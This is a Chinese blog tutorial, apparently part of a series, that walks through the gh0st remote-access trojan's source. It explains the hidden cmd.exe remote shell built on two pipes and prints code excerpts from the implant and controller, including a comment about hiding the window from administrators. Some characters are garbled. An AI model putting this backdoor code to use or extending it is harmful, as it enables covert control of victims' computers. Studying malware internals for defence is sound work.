? ? 好久不見。距離上次寫gh0st來有好久了,一是期末考試,忙不開,二是后來電腦壞了,幾天沒能上網(wǎng)。
? ? 昨天總算是把電腦修好了,雖說沒到一切重頭開始的地步,但是也重裝各種東西花了很久。閑下來的時間,我就來繼續(xù)分析gh0st的源碼吧。
? ? 上次我們把gh0st的上線給研究了一下,跟著老狼的視頻,繼續(xù)我們的步伐。開始實現(xiàn)gh0st中具體的功能。最簡單的一個是“終端管理”,就是一個cmdshell。
? ? 什么是cmdshell,相當(dāng)于是一個cmd命令行的后門,我在主控端中寫下cmd命令,然后傳給被控端,被控端執(zhí)行后將結(jié)果再發(fā)給主控端。
? ? 這是整個遠(yuǎn)控中比較簡單的部分,我們從被控端開始看起:(源碼在附件中可以下載)
? ? 在MainDll工程中,打開類視圖,找到CShellManager這個類,這就是我們“終端管理”功能用到的類。
? ? 在看代碼之前,我先說一下cmdshell的原理。為什么我們這個程序能執(zhí)行cmd命令并且把執(zhí)行結(jié)果得到并返回。這里用到管道技術(shù),管道是為了進(jìn)程間通信而存在的,如下圖:
????
? ? 我們在gh0st進(jìn)程中,開啟一個cmd進(jìn)程,并使用管道,向cmd.exe傳送信息,而cmd.exe也利用管道將信息發(fā)送給gh0st的進(jìn)程。管道通信又分三種,雙管道、單管道與無管道。gh0st里面用的雙管道后門,也就是說,我們在gh0st.exe和cmd.exe之間建立了兩根傳輸數(shù)據(jù)的管道,原因可想而知:a管道接受gh0st的命令,并發(fā)送給cmd,b管道接受cmd的執(zhí)行結(jié)果,并發(fā)送給gh0st。
? ? 理解了這個就方便了。首先看到它的構(gòu)造函數(shù):
| 01 | if?(!CreatePipe(&m_hReadPipeShell, &m_hWritePipeDll, &sa, 0))?//該管道為程序?qū)?#xff0c;cmd讀 |
| 03 | ????CloseHandle(m_hReadPipeShell); |
| 04 | ????CloseHandle(m_hWritePipeDll); |
| 08 | if?(!CreatePipe(&m_hReadPipeDll, &m_hWritePipeShell, &sa, 0))?//該管道為cmd寫,程序讀 |
| 10 | ????CloseHandle(m_hReadPipeDll); |
| 11 | ????CloseHandle(m_hWritePipeShell); |
? ? 創(chuàng)建了兩根管道,使用的API就是CreatePipe,m_hReadPipeShell其實就是一個句柄。CreatePipe這個API前兩個參數(shù)是該管道的讀句柄和寫句柄。讀句柄就是該管道的入口,寫句柄就是該管道的出口。管道這個名字很恰當(dāng),就像一根管子,數(shù)據(jù)從一個方向流入,從另一個方向流出。
? ? sa是安全屬性的一個結(jié)構(gòu),沒有太大作用,初始化一下傳入地址進(jìn)去就行了。
? ? 再往下看,
| 01 | //獲得當(dāng)前程序的相關(guān)信息 |
| 03 | si.cb =?sizeof(STARTUPINFO); |
| 04 | si.wShowWindow = SW_HIDE;??//將進(jìn)程屬性設(shè)置為隱藏,否則cmd一打開管理員就看到了 |
| 05 | si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; |
| 06 | si.hStdInput = m_hReadPipeShell;?//將cmd讀、寫句柄賦值給該參數(shù) |
| 07 | si.hStdOutput = m_hWritePipeShell; |
| 08 | si.hStdError = m_hWritePipeShell; |
| 10 | GetSystemDirectoryA(szShellPath, MAX_PATH); |
| 11 | strcat_s(szShellPath, MAX_PATH,?"\\cmd.exe"); |
| 13 | if?(!CreateProcess(szShellPath, NULL, NULL, NULL, TRUE, NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi)) |
| 15 | ????CloseHandle(m_hReadPipeDll); |
| 16 | ????CloseHandle(m_hWritePipeDll); |
| 17 | ????CloseHandle(m_hReadPipeShell); |
| 18 | ????CloseHandle(m_hWritePipeShell); |
? ? 這部分實際上是在創(chuàng)建一個進(jìn)程。創(chuàng)建cmd進(jìn)程,使用的函數(shù)是CreateProccess,在創(chuàng)建進(jìn)程之前,首先要設(shè)置一下該進(jìn)程的屬性(使用到STARTUPINFO結(jié)構(gòu),)。GetStartupInfo(&si)就是獲取本進(jìn)程的屬性。相當(dāng)于用本進(jìn)程的屬性初始化了cmd進(jìn)程的屬性,然后再改一改,看看注釋就知道了。
? ? 到此,創(chuàng)建了一個進(jìn)程(cmd.exe)和兩根管道了。然后我們可以看到,被控端執(zhí)行了這一條命令:Send((LPBYTE)&bToken, 1); 發(fā)送了這個參數(shù):TOKEN_SHELL_START給主控端。這就告訴主控端,一切就緒,可以開始使用了。
? ? 之后打開兩個線程,一個是讀取管道數(shù)據(jù),一個是等待管道關(guān)閉。
? ? 看到讀取管道數(shù)據(jù)的線程,主要內(nèi)容是一個死循環(huán):
| 04 | ????while?(PeekNamedPipe(pThis->m_hReadPipeDll, ReadBuffer,?sizeof(ReadBuffer), |
| 05 | ????????&ByteRead, &TotalByteAvail, NULL)) |
| 07 | ????????if?(ByteRead <= 0) |
| 11 | ????????ZeroMemory(&ByteRead,?sizeof(ByteRead)); |
| 12 | ????????LPBYTE?lpBuffer = (LPBYTE)LocalAlloc(LPTR, TotalByteAvail);//LocalAlloc函數(shù)從堆中分配指定大小的區(qū)域 |
| 13 | ????????//讀取管道內(nèi)信息 |
| 14 | ????????ReadFile(pThis->m_hReadPipeDll, lpBuffer, TotalByteAvail, &ByteRead, NULL); |
| 15 | ????????//發(fā)送數(shù)據(jù) |
| 16 | ????????pThis->Send(lpBuffer, TotalByteAvail); |
| 17 | ????????LocalFree(lpBuffer); |
? ? 其中用到PeekNamedPipe這個API,它的作用就是向管道中看一眼,如果有數(shù)據(jù)則返回True,如果沒有則返回FALSE。也就是說,如果沒有數(shù)據(jù),這個線程就一直在外部那個循環(huán)中,不停sleep。直到有數(shù)據(jù)就進(jìn)入內(nèi)部循環(huán)。ByteRead是數(shù)據(jù)的大小,如果它為0則表示cmd.exe已經(jīng)關(guān)閉了,就break然后退到外層循環(huán),再一直sleep。如果有內(nèi)容我們就使用ReadFile讀取管道中內(nèi)容,并Send到主控端去。
? ? 說到這里,有些人就要問了。你只說了怎么從管道里讀取內(nèi)容發(fā)送給主控端,但我們被控端怎么從主控端接收內(nèi)容并發(fā)送給管道呢?
? ? 上節(jié)課最后我們說了,“OnReceive函數(shù)在CManager中定義,但并未實現(xiàn)”。我們在這個文件中搜索一個OnRecieve,發(fā)現(xiàn)了它的實現(xiàn):
| 01 | void?CShellManager::OnReceive(LPBYTE?lpBuffer,?UINT?nSize) |
| 03 | ????if?(nSize == 1 && lpBuffer[0] == COMMAND_NEXT) |
| 05 | ????????NotifyDialogIsOpen(); |
| 09 | ????//將客戶端發(fā)來的信息傳入管道中 |
| 10 | ????unsigned?long?ByteWrite; |
| 11 | ????WriteFile(m_hWritePipeDll, lpBuffer, nSize, &ByteWrite, NULL); |
? ? 這就是面向?qū)ο蟮乃枷搿N覀兯械腃XXXManager其實都是繼承的CManeger,而CManager中有這個函數(shù),不過是一個虛函數(shù),沒有具體代碼。而在我們每個的CXXXManager具體類中,就將其實現(xiàn)。
? ? 我們看看其代碼。實際上是判斷傳進(jìn)來的消息,如果是COMMAND_NEXT,說明主控端執(zhí)行完畢,被控端執(zhí)行下一步。如果不是COMMAND_NEXT,說明發(fā)送來的信息是數(shù)據(jù)(命令)。我們就將發(fā)來的信息傳入管道。
? ? 被控端大致就是這些,我們再看主控端。主控端的一些界面的代碼我就不講了,大家有興趣可以自己看看。
????
? ? 主控端是這樣一個思路。首先,用戶點擊“終端管理”的按鈕,然后主控端向被控端發(fā)送一條消息,告訴被控端開始終端管理工作,然后被控端新建一個CShellManager類,在類的構(gòu)造函數(shù)里創(chuàng)建兩個管道和一個cmd進(jìn)程。并在最后發(fā)送一個TOKEN_SHELL_START命令給主控端(還記得嗎?),主控端接受到此命令后,便建立一個CShellDlg類,并打開相應(yīng)對話框。
????在類視圖中找到CShellDlg這個類,這就是我們的遠(yuǎn)程管理窗口的類。我們看到其構(gòu)造函數(shù)中發(fā)送了一個COMMAND_NEXT給被控端,還記得我們剛才看的OnReceive函數(shù)嗎,那個if語句就是處理這個消息。就是告訴被控端,一切就緒。
????我們再打開CPhRemoteDlg類,找到其中的ProccessReceiveComplete函數(shù),其中有一段:
| 2 | ????((CShellDlg *)dlg)->OnReceiveComplete(); |
? ? 就是調(diào)用了CShellDlg類中的OnRecieveComplete方法,意思就是接收到信息就調(diào)用這個方法。
? ? 找到這個方法,實際上就是將從socket接受的信息放入編輯框。
? ? 再看到PreTranslateMessage方法,它截獲一些消息,包括了按鍵的消息。注釋寫的很詳細(xì),其實就是,當(dāng)用戶按下回車時,將編輯框中所有文本都保存在字符串中,并減去上一次的長度,得到用戶新輸入的長內(nèi)容,作為命令,發(fā)送出去。
? ? 其實主體內(nèi)容就這么多,所以說cmdshell是gh0st中比較簡單的部分了。大家看了這篇文章,大概就知道gh0st源碼的一個運行過程了。其他的功能其實發(fā)送信息的過程也類似,互相確認(rèn)一下執(zhí)行是否成功,并開始發(fā)送、接收信息。
總結(jié)
以上是生活随笔為你收集整理的gh0st源码分析与远控的编写(三)的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。